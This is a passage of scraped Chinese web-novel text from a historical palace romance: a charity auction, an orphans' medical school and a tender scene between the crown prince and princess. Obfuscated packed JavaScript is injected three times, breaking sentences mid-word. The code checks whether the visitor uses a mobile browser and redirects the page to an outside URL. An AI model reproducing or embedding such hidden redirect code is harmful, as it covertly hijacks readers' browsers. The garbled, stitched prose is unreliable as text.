曹壬挑眉一笑,“要不,你再报复回来?” 怎么都是自己吃亏,陆萸现在没时间和他计较,于是咬牙回,“先记着,等以后慢慢找你清算。” 明明说的是狠话,可看到曹壬那不明意味的笑,她的脸反而刷的一下红了,这事真是越扯越不纯洁了。 现在二人也不敢大声嬉笑打闹,因为大家都知道太子妃还没醒来,陆萸也就只能不时瞪他几眼。 不多时,太后派了一名内侍来协助太子妃,顺便送来了一堆上好药材。 送药材的内侍名丰年,是陆萸特意和太后要来协助开拍卖会的。 丰年今年十七岁,永宁宫的内侍都是看资历和辈分,所以他没机会任重要职务,但他比较聪明机敏,且口齿伶俐,早上陆萸才提出想要个解闷的人,太后身边的嬷嬷就推荐了丰年。 太子妃虽然不知道何时才能醒来,但世家的东西已经拉来东宫,且预约购买的买家也等不及,为了尽快筹到资金安置那些孤女,东宫会从有购买意向的那些人中挑选出实力雄厚的五十家,于明日一早在前殿偏院召开拍卖会。 陆萸如此这般那般的向丰年解释拍卖会的流程后,又告诉他拍卖现场会有禁卫军维持治安,所以他只需大胆拍卖就行。 最终拍价会由青琼登记在册,待拍卖会结束,买家按最终拍价交付银两后才能拉走东西。 丰年很聪明,才一听就知道怎么操作了。 东西要想拍得好价钱,拍卖时精彩的文案介绍是少不了的。今天陆萸要做的就是拿出拍品名录,与大家一起集思广益,想出和拍品匹配的文案。 退朝后,朝臣们忧心忡忡地回去和家里人说了朝堂上发生的事,现在大家一致盼望太子妃能快点醒来,哪里猜得到如今的中室殿内正为明天的拍卖会忙得热火朝天。 翌日清晨,拍卖会如期举行。 太子妃还没醒来,侍女青琼和内侍丰年不得不打起精神红着眼眶替太子妃主持今日的拍卖会。 开场介绍时,丰年声泪俱下地说着太子妃的不易,青琼在一旁举着帕子轻轻抽泣,煽情得瞬间让入场参加拍卖会的买家代表都动容不已。 太子妃未醒,曹启皇帝心情不好,也就免了今日的朝会。 如今太子正和东宫属官在前殿议事,偏殿离正殿有段距离,但许是拍卖现场太激烈,时不时有声音传来正殿。 王源终于忍不住出声,“不知东宫最近在忙何事?这般响声可会影响太子妃静养?” 曹壬自入正殿后一直神色凝重,如今也只淡淡地回,“是太子妃的侍女在替她拍卖。” “何为拍卖?”散骑侍郎问,他还是第一次听说这个名词。 “价高者得”曹壬答。 他此言一出,在场的东宫属官瞬间哑口无言,太子妃真不愧是经商天才忠义侯的女儿,竟然能想到这样的法子卖那些东西。 太子妃强势“洗劫”了四个世家的会客厅这事如今无人不知,但大家都知道,就算是再有钱的世家,会客厅的那点东西也不大可能卖得认借的金额,除非真有人把价值连城的宝贝拿出来显摆。 一些家具,特别是被用过的旧家具,根本不值钱,因为之前被抄家的朝臣东西被倒卖,能卖得原购价三分之一的价格就不错了,但是若拿来竞价拍卖,那又是另一回事了。 王源实在好奇拍卖现场,于是道,“殿下能否允许臣去偏殿长长见识?” 曹壬点点头,“你们想去就去,不要影响拍卖进度就行。” 就这样,王源带着几位同僚悄悄摸摸去偏殿后面偷看拍卖会了。 陆弘没有去,他与曹壬道,“臣过一阵要和殿下告假,回华亭祭祖。” 朝廷年底都会给朝臣回老家祭祖的假期,只是大部分朝臣是北方世家,不似陆氏这样遥远,所以他们还没开始提。 “你何时想休假,提前一天报备即可。” 陆弘听后,犹豫了一瞬,才道,“臣的祖父这两年身体一直抱恙,故臣想送祖父一份年礼,不知殿下有没有什么好的建议?” 曹壬闻言,眼神凛冽地看向陆弘,他想送年礼是假,想让阿萸联系陆歆才是真吧?陆氏怎么就不能让阿萸安静地做谢知鱼呢? 太子的眼神太过犀利,若非陆弘自小练就得沉稳,换其他人早就吓得不敢再提,可他依然毫不退让地看着曹壬。 曹壬轻叹出声,“这几天太忙,过几天我再替你想想送什么合适。” 闻言,陆弘忙起身郑重行大礼,“臣先替祖父谢过殿下。” 一时间,二人无话,安静地等着王源他们回来再继续议事。 此时东宫偏殿的拍卖会现场异常激烈,王源等人看得目瞪口呆,他们第一次知道卖点二手货还可以热闹成这种样子。 其实,大凡用心一想,大家都能知道,卖抄家得来的二手货和卖正在朝中任职的朝臣二手货完全不是一回事,这与是否通过拍卖无直接关系。 从古至今,身居高位的朝臣若想卖点东西,哪会愁买家?总会有人想通过买他们的东西来与他们拉近关系,那些人可能是同僚,可能是下属,也有可能是商户,凡有求于他们的人,都恨不得能买下他们的东西。 东西本身值多少钱其实并不重要,重要的是,买东西的人要让卖东西的朝臣知道,我花了这么多钱买了您的东西,只为刷一波存在感,你现在记不住我,以后能想起我就行。 买家们在参与竞拍的时候虽然肉疼不已,但当他们听丰年说每个单品的最终成交结果会返回给四大世家时,他们反而感谢太子妃给他们提供了这样公平竞争的机会。 买家举牌喊的价格越来越离谱,东宫属臣们不约而同地从最初的惊叹变成了无声沉默。 那盆不起眼的罗汉松盆栽,丰年是这样介绍的:“延年益寿不老松一盆,自此盆栽摆入柳府,柳侍中身体康健青山不老,是为世间难得的养生圣品。” 柳侍中亲自摆弄过的罗汉松,能和普通盆栽一样吗?更何况有钱人就想求个长寿,河东柳氏确实也高寿,于是这盆栽变得极其抢手。 轮到裴氏的一支紫毫时,丰年是这样介绍的:“裴侍郎专用紫毫一支,此笔集天地之精华,含钟灵毓秀而生,陪伴裴侍郎写下无数锦绣文章,是为天下难得的神笔。” 王源看着那只已经毛刺的紫毫,再听到现场竞拍者争先恐后地出价,简直不可思议到极致,不知这些竞拍的人是不是都疯了,这世界变得如此陌生。 几名东宫属臣从拍卖会现场回来后,一直沉默着,太子见状,倒也没有继续讨论政务,而是以想回去看看太子妃为由,让他们都退下了。 王源已经出了殿门又忍不住折回来,看着曹壬,“殿下,太子妃虽然身体羸弱,但养养就能好,臣觉得她是您的福星。” 曹壬颔首,“多谢提醒,我知道的。” 他自那年在覆舟山相遇,就已知道,她是佛祖送给自己的福星。 王源魂不守舍地回去了,太原王氏这些年崛起后已经盖过当年的琅琊王氏,他们也从当年的谦逊低调变得张扬。 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228799|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行商的忠义侯一家,太原王氏虽然没有表现得很明显,但是从妹妹落选后,对谢氏的鄙夷之声从不间断,对病秧子太子妃也是一副等着看她能得意多久的神态。 可他至今日才发现,殿下其实需要的不是被世家循规蹈矩教养出来的太子妃,而是如谢氏女这样事事以太子为先,做事不做作,不虚伪,只求结果的太子妃。 太子若不想成为下一个当今陛下,就得摆脱世家的控制,虽然他也出自世家,但自他成为太子属官后,无数次体会到皇权被世家掣肘得有多严重,这天下想要变好,殿下就得突破这些掣肘。 太子妃组织的拍卖会虽是第一次尝试,却获得了前所未有的成功,四个世家的总拍价竟然高达六十九万两白银,而仅柳侍中一家就拍得三十七万两,是此次竞拍之最。 翌日朝会,当皇帝把这样的拍卖结果在朝堂上公布时,朝堂炸锅了。 三十七万两呀,那得是装了多少宝贝在会客厅呀,河东柳氏竟然如此豪横,以前根本看不出来呀。 柳侍中听到结果后,只觉得头晕眼花,瞬间冷汗淋淋,他真想当场晕过去,奈何学不会太子妃的本事,只能硬着头皮听着周围的同僚窃窃私语。 其他世家的官员也好不到哪里去,那些明明只是几件不起眼的家具,太子妃是如何卖到这么多钱的?而那些买家是多么的人傻钱多才会干这种事呀? 皇帝看着手中的拍卖清单,笑得像个狐狸,“看来,属朕的皇宫最为清贫,众卿一个会客厅竟如此奢华,以后朕还得靠众卿救济一二才是。” “皇上自谦,羞煞臣等”四个世家的朝臣齐声回。 “众卿无需如此谦逊,有钱是好事,朕自是希望治下百姓富足,不过今日在这里公布名单是为另一件事。” 朝臣们听曹启皇帝这话,心想该不会是皇室又要找世家借钱吧? 曹启皇帝倒没有找他们借钱,而是说太子妃自那天在朝会上被你们气得晕倒后一直没有醒来,宫中多少名贵药材像流水一样送入东宫,得花很多钱。 且太医也说了,即便太子妃醒来,还得靠药物养着,不然会留下后遗症。 如今太子妃替你们凑够了银两,还卖得如此好价钱,换你们自己去卖,肯定不能在如此短的时间内凑够认借金额,所以,你们不但要感谢她,还得给她凑医药费。 考虑再三,皇室就不和大家要医药费了,毕竟年关将至,家家都是用钱的地方,太子今日会替太子妃按你们认借的金额写借据给大家,至于拍卖所得差价,就当是各位补偿给太子妃的医药费吧。 朝臣们听完这番话,心里只有一个想法,皇室简直太不要脸了,不要脸到让大家都找不到词来骂。 可太子妃还没醒来,他们也不敢真不同意,万一太子妃就此一病不起,陛下和太子肯定要追究责任,那天就属他们四家骂得最凶。 虽然肉疼得紧,但想到拿一堆旧东西能换一份平安,也还算是值的,于是他们异口同声答,“臣等无异议。” 曹启皇帝一听,生怕他们反悔似的,立马喜笑颜开地让庆平替太子准备纸笔了。 当四个世家接过太子写的借据上只有区区几万两时,心底又忍不住滴血,甚至开始怀疑会不会是当初卖东西给他们的人弄错价格让他们捡漏了。 柳侍中揣着借据回到家后,把借据递给韦氏,顺便说了朝堂上发生的事,韦氏听得目瞪口呆,那些东西都是她亲手置办的,岂会不知值多少钱。 柳侍中疲惫地揉了揉额头,道,“此事已翻篇,你日后待太子妃和气些就行,无需多思多想,接下来还有得你忙。” 韦氏一开始没听懂要忙些什么,待后来每天都有人来拜访,就知道是何意了。 大家因为好奇柳氏会客厅到底有多豪华才能卖得那么高的价格,所以成群结队来参观,每日疲于应酬的她还要准备年宴,直接累病了。 太子妃是在太子签下借据后第二天醒来的,听闻忠义侯夫妇一直守在太子妃床前,让人从天南地北搜罗各类名贵药材给太子妃服用后,太子妃才醒来的。 经此一事,才听闻太子妃醒来,杨氏就送来了借银,杨氏来的是杨琇莹的母亲崔氏,她大大方方地让东宫侍人清点好银两后,提出很忧心太子妃的病情,想要去看望太子妃。 不过青琼当场拒绝了,太子妃刚醒,需要静养,不接见任何人。 崔氏一脸担忧地送上祝福语后,带着借据回去了,这次的借据依然是太子写的。 95. 第九十五章 剥竹笋 看着中室殿库房堆着的几十万两白银,陆萸不得不感叹,难怪那么多人想入仕途往高处走,权利挣钱的速度远超她每日卖那点洗发膏。 她和灼华的洗发膏已经上市,销量一直很好,不过那些利润和这几天赚的比,根本没眼看。 又过了数日,从荆州军中送来了一百二十八名遗孤,说后面还会有几批,这次男童数量比上次多。 接下来的时间,陆陆续续有孤儿从不同的地方到洛阳,眼看东宫月室殿快挤不下的时候,女医署的住宿楼终于建成了一栋。 陆萸原计划建三栋住宿楼,三栋教学楼,只是如今时间紧迫,能用的就先用上,她自动工起就已让人去预定了高低床、床上用品等。 在住宿楼装修期间,旁边又盖了一排大厨房,如今也能投入使用。 虽然和规划图还有很大的差距,陆萸还是选了个好日子把孤儿们送去了女医署,然后热热闹闹地挂上了大魏女医署的牌匾,此牌匾的字是由曹启皇帝亲笔书写。 如今共有三百六十三名孤儿入住女医署,陆萸把这些孤儿分成了七个班级,然后选出九岁至十岁的孩子做班长,每班配一名正班长,两名副班长。 她现在最缺的是管理女医署的人才,有学识的男子不难找,可既要有学识又愿意抛头露面出来工作的女子却难找。 于是陆萸出了一则招贤令,凡愿意参与女医署管理的女郎,只需和太子妃签订一至三年不等的劳务协议,这期间每月可休息四天,女医署会支付俸银,四季衣食住行皆由女医署承担。 若世家有闲置的人才也可以租赁给太子妃,太子妃除了给世家的奴婢发俸银,还会根据这些奴婢的情况,给世家支付相应的租金,世家只需要和太子妃签订人才租赁协议即可。 此招贤令一出,洛阳都城又瞬间热闹起来,那些急需用钱的寒门,家里凡有识字的女郎都想去试试,毕竟休息时间可以回家探亲,且不签卖身契,还提供衣食住行,俸银就可以全部攒下来贴补家用。 而世家们也有些心动,他们花精力培养的奴婢若是不听话,以后不用发卖,直接租赁给太子妃就行,这样还能有长期稳定的收益,花心思管人和直接收钱比,还是直接收钱省心。 陆萸的招贤令被太后听到后,立马给她送来了两名有头有脸的大宫女,还说不用签协议,想用多久用多久,也不用她出俸银,永宁宫会给他们发俸银。 两名宫女一个名春岚、一个名秋云,皆是琴棋书画样样精通,得这两员大将后,陆萸又把柳如筠从华彩阁调过来管财务。 华彩阁的点心生意早已稳定,产品类型也无需过多开发。 为了不让秋娘继续受累,她让秋娘从一线岗走上管理岗,秋娘参与了点心生意从无到有的过程,所以和柳如筠交接得非常顺利。 如今凡是有华彩阁的地方,都有点心配套售卖,每年的收益非常可观。 陆萸原担心寒门女郎应聘的人数会不够,这才提出租赁世家婢女,但没想到报名的人数还不少。 于是她组织了一轮考试和一轮面试后,从中录取了十八人做为教学辅助管理岗人员。 世家也有想要租赁出来的婢女,陆萸暂时没有接收,打算孤儿人数突破五百人的时候再租赁一批世家婢女。 现在人也有了,钱也有了,陆萸就要开始设计女医署的课程。 女医署,既然是医署,肯定要开设医药相关课程,但除了医药课,陆萸还打算开设文化课、女红课、纺织课、种植课以及体能课。 体能是马术和游泳,刚好门口就有条洛水河,很方便上课。 为此,陆萸又去找曹启皇帝要地要人,医署需要一块药田,这样边种植边教学可以让孩子们尽快认识药材,认识了药材才能学医术,医署还需要教授药理课的老师。 太子妃前阵挣了一大笔钱,曹启皇帝心情好,立即划了一片白马寺附近的田地给女医署做药田,而老师,则让陆萸自己去太医署挑就行。 当初陆萸接下女医署的项目时,曹启皇帝已经下诏令,让全大魏的医者配合太子妃行事,所以陆萸去找他们,他们也不好立即拒绝。 不过陆萸没有立马去找御医,而是去找了葛医仙谈合作。 葛医仙如果能在女医署挂名誉讲师且不定时在女医署下设的医馆坐诊,女医署的药田可以让他随便种,且为他提供种植劳作人员。 如果他想要研发新药,所需费用由女医署全部承担,研发成功的新药也可由女医署代为售卖,不收取任何佣金。 葛医仙其实对这些条件没有多在意,而是听过太子妃打算为那些孩子开设的课程种类后,才毫不犹豫答应的。 这哪里是医署,完全就是个书院,如此特殊的书院,将来一定会流芳百世,他若能参与这个书院的成长,想必是件很有意思的事。 有葛医仙入女医署,如今在东宫的徐医仙自然也没有拒绝的必要,他们二人一南一北齐名大魏,他又怎么能落后。 传出南北两大医仙要给女医署的孩子授课,一时间轰动洛阳城,这时候陆萸再去太医署借人的时候,他们已经找不到理由拒绝了,甚至有一些还很期待能去旁听医仙的课。 医药课的老师敲定后,剩下就是文化课的老师,以春岚和秋云两个人的才华,教授文化课完全没有问题,但只让他们授课肯定忙不过来。 于是陆萸又出了一则招贤令,世家女郎们,才华出众者,凡愿意到女医署兼任讲师者,女医署会根据课时结算课时费,每学期末,女医署还会根据大家教授的成果,让太子亲自颁发本学期的名誉奖状。 太子亲自颁发的奖状,确实比太子妃发的吸引人,且这些女郎闲着也是闲着,偶尔来上上课还能挣名声,以后也好找个好郞婿何乐而不为? 最最重要的一点,太子还没娶良娣,万一因为才情出众被太子看上了呢? 这次的招贤令一出,报名人数多到令陆萸咋舌,想不到曹壬的名字竟然这么好用。 陆萸知道大魏民风开放,但只因为曹壬的名字,这么多世家女郎抢着来女医署上课,简直就是在明目张胆的和她抢男人呀。 是夜,陆萸还没来得及和曹壬感叹这事,曹壬主动提了陆弘想送礼给陆歆的事。 陆萸沉默了一瞬,才道,“祖父当时在牢里说过会想尽办法把我救出去,后来许是被父亲说动才会犹豫吧,不然我死后,他也不会一病不起,如今我活着,若能主动联系他,或许也能为他减轻少许自责。” “可我不想你联系陆氏的任何人,我只想你做谢知鱼”曹壬一脸担忧地回。 陆萸苦涩一笑,“就这一次可好?以后除了大兄,我不会和任何陆氏的人往来” 顿了一下,她叹道,“有了祖父,我才能建书院,才能制书售书,那些年,我虽然很累,但也很开心,全是因为祖父在身后无条件地支持我。” 曹壬揽过陆萸在怀中,轻叹,“那就随你吧,你想送什么给他,我替你准备。” 陆萸想了一下,和曹壬说起了在东外城看到的柿子树,冬日挂在枝头的红柿,宛如雪地中的一抹朱砂,寒冬中的一团火焰,给人带来无限温暖,也让人对美好生活充满了向往。 曹壬听后,让八喜准备颜料和纸,然后迅速为陆萸画了一幅《寒冬柿子图》。 画上的柿子与白雪一起挂在枝头,在漫天飘雪中,如同燃烧的希望之火,画一展开,就能照亮冬日的寂寥。 他的画工一如以往的好,陆萸看了又看后,提笔在上面留了一行字: 万里归来值岁丰,解装乡墅乐无穷。甑炊饱雨湖菱紫,篾络迎霜野柿红。 陆游的《归云门》意境很好,可她只想留这半首,写好后,她顺便把整首诗的都告诉了曹壬。 曹壬听后,细细品了一阵,也觉得这诗的景致和心境都很适合已经致仕的陆歆。 待画上墨迹干透,陆萸拿出兜兜转转又回到自己手中的“一杆翁”印章,沾了印泥后,用力压了上去。 曹壬笑道,“我以为你不会用印。” “哪能?我还等着以后增值了卖个大价钱的”陆萸挑眉回。 曹壬伸手轻轻刮了一下她的鼻梁,“真是财迷。” 说起财迷,陆萸又想起了那些因为太子名号而争着上课的女郎。 她和曹壬说起报名盛况时,噘着嘴一脸的不悦,仿佛是他让她们来报名似的。 曹壬觉得自己很冤,忙笑道,“你把我的名字这么卖了,我还未生气,如今怎还醋起来了?” “我没醋”陆萸忙回。 “我闻见酸味了。” “那是你嗅觉失灵”陆萸说着,像被踩到尾巴的猫,立即起身。 曹壬也不管桌上的画了,立即起身跟着陆萸追到行云殿的寝室后,才讨好道,“她们惹你不开心,是我的错,我替她们道歉可好?” 一听这话,陆萸更加不乐意了,瞪着眼看着他,“她们又不是你的谁,你为何要替她们道歉?” 许是月事要来了,她这两天的情绪比较脆弱,才说完这话,鼻子一酸,双眸迅速盈满泪水。 曹壬没想到刚刚还和自己嬉笑的陆萸会突然就变了脸,那些快要滚落的泪水更让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阿萸,我是这样的在意你”他边轻吻,边喃喃出声。 她心中早就不生气了,如今被他一波又一波的亲吻弄得忘了思考,也说不出话来,只能任由他一下一下在唇齿间辗转研磨。 他的吻越来越轻柔,可她的身体也越来越绵软,这样的沉沦仿佛要让她坠落,她的双手不知不觉攀上了他的肩头,她也不由自主得回应起他的吻。 在她迷失在这一深吻中时,他的吻从唇上离开,来到酒窝深处又来到的脖颈处,然后一路往下。 慢慢地,她的衣服像笋衣一般,一片片落在竹林深处,直至露出里面白白嫩嫩的笋芯。 笋衣下的笋芯光滑细嫩,唇瓣所触之处皆是柔软且带着竹笋天生的清香,这样的清香让他想起了那碗玉兰片汤。 玉兰片想要做成美味的汤需要用水慢慢炖,他如今就在炖这碗汤,用文火仔仔细细、轻轻柔柔地炖,直至玉兰片香气和水完全融为一体。 身上那一次次离开又一次次落下的湿热让她颤栗不止,也告诉了她剥竹笋是什么意思。 她已经软绵得仿若成了一滩水,见他还依然衣冠整齐,她顿觉不公平,于是用尽力气伸手扯下了他的腰带。 她这一扯,原本只是软绵无力的笋芯瞬间触碰到了一团火热,让她浑身炽热难耐,男性的阳刚气息混合着那股檀香味瞬间包围了她全身。 她来不及后悔那一扯,因为一种不知是喜悦还是难受的情绪迅速占领心口,她媚眼如丝,目光盈盈地看着他娇吟出声,“君期。。。。。” 她也不知道要说什么,就是忍不住想这样叫叫他的名字。 她的声音和她的人一样,又柔又甜,仿若一碗清甜的玉兰片汤,让他听得越发忍不住想要一起沉沦在这汤汁里。 他再次覆在她身上,然后在她耳畔低哑出声,“阿萸别怕,我只是剥竹笋。” 她已经在极致的悸动中彻底迷失方向,整个人仿佛完全浸泡在了在玉兰片汤里一样,只能随着汤汁被搅动而慢慢上下漂浮。 他说的剥竹笋真的只是剥开笋衣,明明她也感受到了他的情动,触碰到了他身上那股蓄势待发的炙热,可他只是细致温柔地剥了笋衣,然后用唇瓣仔仔细细地抚触过笋芯后,又重新替笋芯包上了笋衣,让竹笋回到了竹林中。 这是一场新奇又酣畅淋漓的体验,她完全清醒过来时,身上的汗已经被他用帕子擦净,也换好了寝衣。 她躺在他怀中,有些担忧地问,“你那样忍着,会不会忍出病来?” “没事,我可以默念清心咒” 顿了一下,他收紧手上的力道,让她的头更紧的贴近心口,然后用低沉而又温柔的嗓音问,“阿萸如今能信我了吗?” 她紧紧抱住他的腰,“信了,以后也会一直信你。” 她其实一直都信他的,那个曾经用血喂养自己的男子,她如何会不信呢?她不过是对未来担忧罢了。 96. 第九十六章 星火点燃日 翌日清晨,陆萸醒来的时候曹壬已经上朝去了。 今日天气不好,阴沉沉的天似乎正酝酿着更大的风雪,虽然很贪恋被窝的温暖,但想到还有很多事等着自己,陆萸还是咬牙起床了。 “太子离开很久了吗?”她边穿鞋边问。 青琼回,“殿下一刻钟前离开的,您要洗漱了吗?” “准备热水,我想先沐浴。” 昨夜陆萸原想洗个热水澡再睡的,奈何后来被曹壬“剥竹笋”后,全身酸软无力,不想让他抱着去沐浴,所以只是让他用帕子擦擦就睡着了。 青琼很快就让人准备好了热水。 陆萸以前很少让青琼和玉瑶伺候沐浴,今日起来后觉得异常乏力,她便打着哈欠让他们帮忙了。 谁知,玉瑶见到陆萸身上的痕迹,忍不住惊呼出声“啊呀!” 陆萸的瞌睡瞬间被这声惊呼吵醒了,她忙低头去看自己的躯、体,明明二人没到最后一步,且都过了一夜,身上这些让人一看就能想入非非的红印怎么会到现在都没消? 她既傻眼又害羞,红着脸忙捂住胸前,道:“我自己来,你们退下吧。” 青琼和玉瑶也很奇怪,昨夜她们听到动静时,以为太子妃终于要和太子圆房了,二人为此偷偷高兴了许久,哪里晓得刚刚整理床铺的时候未发现任何迹象,如今看到太子妃身上这些红印,明显是太子留下的。 二人忍不住感叹,曾贵为慧悟法师的太子当真与常人不一样呀,都这样了还能忍住,简直是非同一般的忍耐力。 舒舒服服的泡了个热水澡后,陆萸身上的红印消了大半,她神清气爽地换好衣服后,就出发去女医署了。 女医署首要重点筹备文化课和体能课,识字量够了,学其他知识才会更容易一些,所以她要尽快从世家女的报名名单中选聘出合适的老师。 经过初步筛选后,陆萸留下了三十人,这三十人的文化水平不用怀疑,她没给他们准备笔试,而是直接通知他们来面试了。 女医署的教学助理挨家挨户去通知面试的时候,有人听说面试地点是在女医署,竟然拒绝了。 陆萸第一次对自己的筛选能力怀疑起来,于是又把面试人数增加到了四十人,不愿意来女医署面试的就当自动淘汰了。 文化课老师还没到位,陆萸就先组织他们到大礼堂上公共课,由她亲自授课。 孩子们见到陆萸都很激动,虽然他们一日只有两餐,但他们现在有吃的,有穿的和住的,也不用担心被卖,更不用担心被坏人打死,在他们看来,眼前的太子妃好比救苦救难的神仙下凡。 年关将至,陆萸打算今年先储备教师,待明年开春再正式上课,所以她上公共课主要是以讲故事为主。 讲故事是她的强项,前几天已讲过神话故事,今天就改成讲成语故事,常见的成语小故事在她的讲解下,既生动,又不失原有的教育意义。 有一个小女孩是上过学堂的,她也是第一批来洛阳的,所以如今的她已经不惧怕太子妃了,她忍不住笑道,“太子妃讲的成语小故事可比夫子讲的生动太多了。” 陆萸笑着反问,“那夫子讲的是怎样的呢?” 小女孩听后,站起身仰起头,把手背在身后,一副老学究的摸样,缓缓开口,“尔等连这般简单的成语都学不懂,日后如何可堪大用呀?” “哈哈哈哈”她演示得惟妙惟肖,说完这话后还伸手捋了捋并不存在的胡须,一时引得全场的孩子们爆笑不止。 陆萸也忍不住想起当年在陆氏学堂时的那些老师,确实是如此。 课堂气氛好,陆萸又讲了一则爱国英雄的故事,讲完后,她总结,“无论我们身在何处,将来身居何位,皆不可忘了那些为我们争取到和平的将士和国家。” “我们不会忘的”孩子们齐齐出声,甚至还有孩子哭了,他们非常能够理解这句话的份量,那些烈士就是他们的父辈,朝廷愿意记着他们,他们又如何敢忘呢。 孩子的三观要从小树立,这个万万不能马虎,所以陆萸上公开课的主要目的就是抓思想品德。 公共课结束,陆萸和孩子们吃了一顿午膳,然后开始了下午的面试。 她面试世家女郎的方式很简单,就是坐在一起品茶闲聊,二人聊过后,春岚带着面试人员去看过孩子们玩耍生活的地方后,再决定是否录用。 她定了几个筛选标准,太过倨傲的不要、聊天时不尊重她的不要、严肃古板的不要、喜欢八卦的不要、看过孩子们后脸上有嫌弃之色的不要,至于年龄、外貌、出身这些不在她的考核范围内。 这天下午有四个女郎面试,只有一人是合适的,他们几乎都败在了看孩子们这一关,也是,没生过孩子且自幼锦衣玉食娇养长大的他们,怎么可能会不嫌弃那些看起来脏兮兮的孩子呢? 于是陆萸又把面试名单增加到了五十人,看来招聘老师才是最难的。 冬日昼短,眼看天快黑了,她忙赶回内城。 回到东宫时,曹壬竟然还没回来,看来又有大事发生了。 她草草用过晚膳后,换好寝衣斜靠在床上看书,今日既上课又面试,一天下来只觉口干舌燥,坐得久腰酸背痛,回来后又遇到月事来了,如今既累,小腹还不时传来胀痛感,手上拿着书却怎么也看不进去。 青琼知太子妃因之前气血亏损严重导致每次月事都比较受罪,所以早早给她准备了红糖姜汁。 见她喝完汤汁后,青琼道,“您难受就先躺下休息吧,奴婢替您等着殿下。” 陆萸摇摇头,开了一整日的朝会,必定是出大事了,她现在身上难受心里记挂着他,就算睡着了也睡不踏实。 青琼拗不过陆萸,便只能收走碗后又拿了新的手炉给她捂小腹。 她边替换手炉,边道,“您这症状,奴婢以前听前辈们说过:若生养孩子,就能改善甚至彻底治愈。” 这说法陆萸前世也听人说过,不过她前世也没机会尝试,于是笑道,“反正死不了人,忍忍就过去了。” 青琼和玉瑶都是谢氏的家奴,二人被谢洐选来照顾陆萸的时候一开始是担心的,毕竟比起从小和主人长大的那种,他们这样半路过来的很难得到主人真诚以待。 惊喜的是谢知鱼并不难伺候,且待人非常宽厚,所以二人放下了恐惧,伺候主人也更能用心。 一个世家女郎,身居太子妃之位,哪怕生病是假,但能从早忙到晚,所操心的都是大事,所做之事皆是为百姓谋福祉,她二人如今对主人是真的既敬又爱。 又过了一个时辰曹壬才回来,见陆萸脸色不是很好,忙上前问,“你病了?” 陆萸摇摇头,问,“朝中出了何事?” 曹壬此时一脸藏不住的疲惫,但仍耐心地和她解释起来。 年关易生乱,雍州境内又有两起胡人作乱,这个还不是最严重的,最严重的是荆州往长安的路上发生了两起骇人听闻的抢劫案,有两队世家商队不但所有商品被洗劫,连人都全部被残忍杀害。 以往匪患,大多为财,财务被抢走后,都会留有活口,如今这两起却是一个活口都不留,手段残忍,场面血腥到令人发指。 年关正是各大世家准备祭祖办年货的时候,商队往来也更频繁,所以朝中也比较重视这两起匪祸,让大家商讨以怎样的方式才能引出这些江洋大盗,然后一招击毙。 劫匪,陆萸忍不住想起前世看到的历史,劫匪有时未必是真劫匪,还有可能是世家假扮的,前世历史上那个斗富的石崇就是专门靠打劫发家的。 她思忖片刻后,问,“朝中可有石姓官员?” “石封是库部郎中,主管武库,你为何问起他?” 库部郎中隶属尚书省,正六品,主要负责军械的制造、保管等工作,这个朝代竟然真有这样的人存在?而且石氏也和前世历史一样,是个巨富! 陆萸于是把前世的历史和自己的猜测告诉曹壬,毕竟这里虽是平行时空,却也有可能存在重叠的部分。 曹壬听后神色非常肃穆,久久沉默不语,今日朝堂上讨论的时候,他也曾怀疑过如此狠绝又做事不留痕迹的劫匪可能出自军中,但他没有往石封身上想。 石封有一个妹妹是皇帝的贵嫔,曾育有一个皇子,可惜皇子四岁时候夭折了,后未再有孕,但皇帝一直很宠爱石贵嫔,石氏虽然不如那些老牌世家,但在朝中的地位也不算低,至少比已经落寞的谢氏强。 如今听陆萸的提醒,他不得不把疑点往石封身上想,就算不是石封,也可能是某个世家手下的兵马所为。 陆萸说完后,没有马上接着发表看法,见曹壬好似已经有了一些思路,才道,“今日你自己回行云殿就寝吧,我就留在中室殿了。” “为何?”曹壬脑海中还在思索着与石封交好的朝臣世家有哪些,乍一听陆萸这话,也顾不得考虑案情,忙问,“是昨夜的气还没消吗?若如此,你也别招世家女授课了,我去找太学博士去授课。” 陆萸听后,笑道,“亏你想得出来,太学博士去女医署简直就是大材小用,你别胡思乱想了,是我身上不舒服。” 她的月事一直不准,和他成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250238|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲后,今日是第一次来月事,这个时代的男子大多觉得月事是秽物,她也怕夜里侧漏弄脏了他的寝衣。 见曹壬还是一脸发懵的看着自己,她又红着脸小声解释了一番。 曹壬听后,耳朵也跟着红了,他顿了一下才道,“你身上不舒服,我更该在一旁才是。” 说完,不等陆萸拒绝,自顾自去换寝衣了。 待陆萸回过神时,他将她手中的书随手扔在窗前的书案上,然后放下帐子在她身侧躺下,“我以前看过医书,书上说女子这几日容易腹痛,还容易困乏,你明日就不要去女医署了。” 陆萸的手炉也被他收走了,他说这种需要不时更换的手炉没有他的身体暖和实用。 好吧,陆萸连拒绝的机会都没有,他就已经一只手紧紧揽住自己,然后把掌心贴上了她的腹部。 